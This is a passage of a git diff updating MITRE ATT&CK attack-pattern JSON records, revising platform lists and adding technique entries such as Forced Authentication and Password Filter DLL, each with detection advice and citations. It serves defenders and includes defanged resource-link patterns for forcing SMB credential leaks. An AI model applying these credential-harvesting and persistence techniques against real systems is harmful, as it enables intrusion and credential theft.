Microsoft Threat Intelligence Center",
+            "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Exploiting software vulnerabilities may allow adversaries to run a command or binary on a remote system for lateral movement, escalate a current process to a higher privilege level, or bypass security mechanisms. Exploits may also allow an adversary access to privileged accounts and credentials. One example of this is MS14-068, which can be used to forge Kerberos tickets using domain user permissions. (Citation: Technet MS14-068) (Citation: ADSecurity Detecting Forged Tickets)\n\nDetection: Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Software and operating system crash reports may contain useful contextual information about attempted exploits that correlate with other malicious activity. Exploited processes may exhibit behavior that is unusual for the specific process, such as spawning additional processes or reading and writing to files.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Windows Error Reporting, File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nDefense Bypassed: Anti-virus, System access controls\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network. In the case of privilege escalation, the adversary likely already has user permissions on the target system.\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -72,21 +72,9 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network. In the case of privilege escalation, the adversary likely already has user permissions on the target system."
diff --git a/enterprise-attack/attack-pattern/attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a.json b/enterprise-attack/attack-pattern/attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a.json
index db6a4d0fa8..a99a987ecd 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--91f9933f-08f2-4d41-be73-5934ec98460a",
+    "id": "bundle--1f4764c2-046e-402b-8f24-ac959aa1cf8f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:32.662Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obfuscated Files or Information",
-            "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system.\n\nDetection: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Network protocol analysis, Process use of network, Binary file metadata, File monitoring, Malware reverse engineering\n\nDefense Bypassed: Host forensic analysis, Signature-based detection, Host intrusion prevention systems",
+            "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system. This is common behavior that can be used across different platforms to evade defenses. Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis)\n\nDetection: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Process use of network, Binary file metadata, File monitoring, Malware reverse engineering\n\nDefense Bypassed: Host forensic analysis, Signature-based detection, Host intrusion prevention systems",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -22,6 +22,11 @@
                     "source_name": "mitre-attack",
                     "url": "https://attack.mitre.org/wiki/Technique/T1027",
                     "external_id": "T1027"
+                },
+                {
+                    "source_name": "Linux/Cdorked.A We Live Security Analysis",
+                    "description": "Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017.",
+                    "url": "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/"
                 }
             ],
             "object_marking_refs": [
@@ -40,18 +45,9 @@
                 "Host intrusion prevention systems"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Linux",
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6.json b/enterprise-attack/attack-pattern/attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6.json
index 22b84672cd..7d2858666d 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b5d85174-e362-4c46-9fe1-f01ee5db7d0f",
+    "id": "bundle--3d2c2df2-26a0-429b-bd01-ed0082a89664",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Trap",
-            "description": "The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common  keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.\n\nDetection: Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator\n\nRemote Support: No",
+            "description": "The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common  keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.\n\nDetection: Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator\n\nRemote Support: No",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -42,8 +42,7 @@
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X"
+                "macOS"
             ],
             "x_mitre_remote_support": false
         }
diff --git a/enterprise-attack/attack-pattern/attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2.json b/enterprise-attack/attack-pattern/attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2.json
new file mode 100644
index 0000000000..1d14dd4d4e
--- /dev/null
+++ b/enterprise-attack/attack-pattern/attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2.json
@@ -0,0 +1,77 @@
+{
+    "type": "bundle",
+    "id": "bundle--481e681c-930d-4dd2-8d4c-ed7d08e10d1d",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Forced Authentication",
+            "description": "The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.  (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary, or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information including the user's hashed credentials over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line Brute Force cracking to gain access to plaintext credentials, or reuse it for Pass the Hash. (Citation: Cylance Redirect to SMB)\n\nThere are different ways this can occur:\n*A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened. The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n*A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\\\[remote address]\\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)\n\nDetection: Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause.\n\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)\n\nPlatforms: Windows\n\nData Sources: File monitoring, Network protocol analysis, Network device logs, Process use of network\n\nPermissions Required: User\n\nContributors: Teodor Cimpoesu",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "credential-access"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1187",
+                    "external_id": "T1187"
+                },
+                {
+                    "source_name": "Wikipedia Server Message Block",
+                    "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.",
+                    "url": "https://en.wikipedia.org/wiki/Server%20Message%20Block"
+                },
+                {
+                    "source_name": "Didier Stevens WebDAV Traffic",
+                    "description": "Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.",
+                    "url": "https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/"
+                },
+                {
+                    "source_name": "Microsoft Managing WebDAV Security",
+                    "description": "Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved December 21, 2017.",
+                    "url": "https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx"
+                },
+                {
+                    "source_name": "GitHub Hashjacking",
+                    "description": "Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.",
+                    "url": "https://github.com/hob0/hashjacking"
+                },
+                {
+                    "source_name": "Cylance Redirect to SMB",
+                    "description": "Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.",
+                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/white%20papers/RedirectToSMB.pdf"
+                },
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Teodor Cimpoesu"
+            ],
+            "x_mitre_data_sources": [
+                "File monitoring",
+                "Network protocol analysis",
+                "Network device logs",
+                "Process use of network"
+            ],
+            "x_mitre_permissions_required": [
+                "User"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/attack-pattern/attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c.json b/enterprise-attack/attack-pattern/attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c.json
new file mode 100644
index 0000000000..3eb5e99427
--- /dev/null
+++ b/enterprise-attack/attack-pattern/attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c.json
@@ -0,0 +1,57 @@
+{
+    "type": "bundle",
+    "id": "bundle--4c35e863-1cc5-447d-9070-4ad033e56353",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Password Filter DLL",
+            "description": "Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.\n\nBefore registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)\n\nDetection: Monitor for change notifications to and from unfamiliar password filters.\n\nNewly installed password filters will not take effect until after a system reboot.\n\nPassword filters will show up as an autorun and loaded DLL in lsass.exe. (Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nPlatforms: Windows\n\nData Sources: DLL monitoring, Windows Registry, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "credential-access"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1174",
+                    "external_id": "T1174"
+                },
+                {
+                    "source_name": "Carnal Ownage Password Filters Sept 2013",
+                    "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.",
+                    "url": "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html"
+                },
+                {
+                    "source_name": "Clymb3r Function Hook Passwords Sept 2013",
+                    "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.",
+                    "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Vincent Le Toux"
+            ],
+            "x_mitre_data_sources": [
+                "DLL monitoring",
+                "Windows Registry",
+                "Process monitoring"
+            ],
+            "x_mitre_permissions_required": [
+                "Administrator",
+                "SYSTEM"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/attack-pattern/attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4.json b/enterprise-attack/attack-pattern/attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4.json
index efb0a36af3..aa4663eb58 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7b4d0ccd-83e4-499a-8407-92cc30cf4245",
+    "id": "bundle--ea62de82-4909-4c3e-8c81-b0d17d8e32e9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:19.338Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Compressed",
-            "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.\n\nDetection: Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.\n\nIf the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nRequires Network: No",
+            "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.\n\nDetection: Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.\n\nIf the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nRequires Network: No",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -40,21 +40,9 @@
             ],
             "x_mitre_network_requirements": false,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c.json b/enterprise-attack/attack-pattern/attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c.json
index 1f74c79acc..6c269b62f4 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--96a43e9c-04fd-4ba2-97e3-00fd6cb89177",
+    "id": "bundle--47784f75-f530-44a7-93fa-6203b511d5e6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:02.188Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Credentials in Files",
-            "description": "Adversaries may search local file systems and remote file shares for files containing passwords.  These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through Credential Dumping. (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nDetection: While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See Valid Accounts for more information.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Access to files",
+            "description": "Adversaries may search local file systems and remote file shares for files containing passwords.  These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through Credential Dumping. (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nDetection: While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See Valid Accounts for more information.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Access to files",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -47,21 +47,9 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Access to files"
diff --git a/enterprise-attack/attack-pattern/attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2.json b/enterprise-attack/attack-pattern/attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2.json
index b06175e05b..b846ac3f6a 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f3f56650-03d8-4587-bdbc-459c2575834e",
+    "id": "bundle--0f6c536b-88fc-40ef-9fcf-0839dc4d3306",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:40.168Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Netsh Helper DLL",
-            "description": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code>.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)\n\nDetection: It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code> registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, DLL monitoring, Windows Registry\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: netsh\n\nContributors: Matthew Demaske, Adaptforward",
+            "description": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code>.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)\n\nDetection: It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code> registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)\n\nPlatforms: Windows\n\nData Sources: Process monitoring, DLL monitoring, Windows Registry\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: netsh\n\nContributors: Matthew Demaske, Adaptforward",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -55,18 +55,7 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "[[Software/S0108|netsh]]"
diff --git a/enterprise-attack/attack-pattern/attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2.json b/enterprise-attack/attack-pattern/attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2.json
index 5872d78cd6..ce523a8169 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--958b6e92-2453-47e8-b3f8-2e9625c5a837",
+    "id": "bundle--c9b4a642-7b80-4f2f-8457-b72e26e76322",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:48.323Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Input Capture",
